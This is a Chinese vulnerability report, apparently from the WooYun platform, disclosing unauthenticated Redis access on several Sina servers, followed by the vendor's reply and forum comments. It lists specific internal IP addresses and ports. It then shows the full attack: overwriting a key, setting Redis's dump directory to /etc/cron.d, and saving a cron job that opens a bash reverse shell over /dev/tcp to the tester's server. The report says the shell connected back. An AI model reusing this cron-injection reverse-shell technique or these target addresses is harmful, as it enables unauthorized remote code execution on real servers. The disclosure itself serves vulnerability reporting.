我也来漫游新浪内网

几个机器的redis未授权访问：

redis://60.28.244.38:6300

redis://60.28.244.38:6301

redis://60.28.244.141:6301

redis://60.28.244.141:6300

redis://60.28.244.140:6300

redis://60.28.244.140:6301

测试一下第一台

60.28.244.38:6300> keys *
 1) "key"
 2) "ycl"
 60.28.244.38:6300> get key
 "b"
 60.28.244.38:6300> set key a
 OK
 60.28.244.38:6300> config set dir /etc/cron.d
 OK
 60.28.244.38:6300> config set dbfilename 1
 
 echo -e "/n/n*/1 * * * * root bash -i >& /dev/tcp/my server/4000 0>&1 /n/n"|redis-cli -h 60.28.244.38 -p 6300 -x set key
 
 60.28.244.38:6300> save
 OK

然后就反弹shell回来了

未深入，点到为止。

限制访问

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-21 17:52

厂商回复：

感谢关注新浪安全，安全问题修复中。

最新状态：

暂无

1. 2016-04-21 17:06 | Aasron ( 普通白帽子 | Rank:905 漏洞数:162 | raw_input("你知道我要输入什么？"))

   0

   被玩坏了

   1# 回复此人

2. 2016-04-21 17:08 | 大师兄 ( 实习白帽子 | 还没有发布任何漏洞 | 每日必关注乌云)

   0

   期待下篇：我再来玩

   2# 回复此人

3. 2016-04-21 17:09 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

   0

   该好好整整了 哈哈

   3# 回复此人

4. 2016-04-21 17:09 | 从容 ( 普通白帽子 | Rank:415 漏洞数:96 | 哇啦啦啦啦啦 我的宝贝 | ..)

   0

   期待下下、下下下篇：我还来玩、我又来玩

   4# 回复此人

5. 2016-04-21 17:14 | prolog ( 普通白帽子 | Rank:944 漏洞数:140 )

   1

   我还来漫游、我又来漫游、我带上表妹漫游、我带上表哥漫游，我带上表哥表妹一起漫游

   5# 回复此人

6. 2016-04-21 17:37 | js2012 ( 普通白帽子 | Rank:126 漏洞数:44 | 闭关修炼。。。)

   0

   是不是改搞一波众测了

   6# 回复此人

7. 2016-04-21 17:54 | 猪猪侠 ( 核心白帽子 | Rank:5372 漏洞数:282 | 你都有那么多超级棒棒糖了，还要自由干吗？)

   0

   漫游の你们漫游不动了只有我还能漫游

   7# 回复此人

8. 2016-04-21 17:58 | Aasron ( 普通白帽子 | Rank:905 漏洞数:162 | raw_input("你知道我要输入什么？"))

   0

   猪猪侠这样说了，下面要漫游就很尴尬了

   8# 回复此人

9. 2016-04-21 18:21 | 无人知晓 ( 实习白帽子 | Rank:64 漏洞数:8 | 一个苦逼的程序猿)

   0

   新浪也太小气了。。就8rank

   9# 回复此人

10. 2016-04-21 19:29 | dragon110 ( 路人 | Rank:12 漏洞数:1 | 其实我是龙6)

    0

    尴尬了。

    10# 回复此人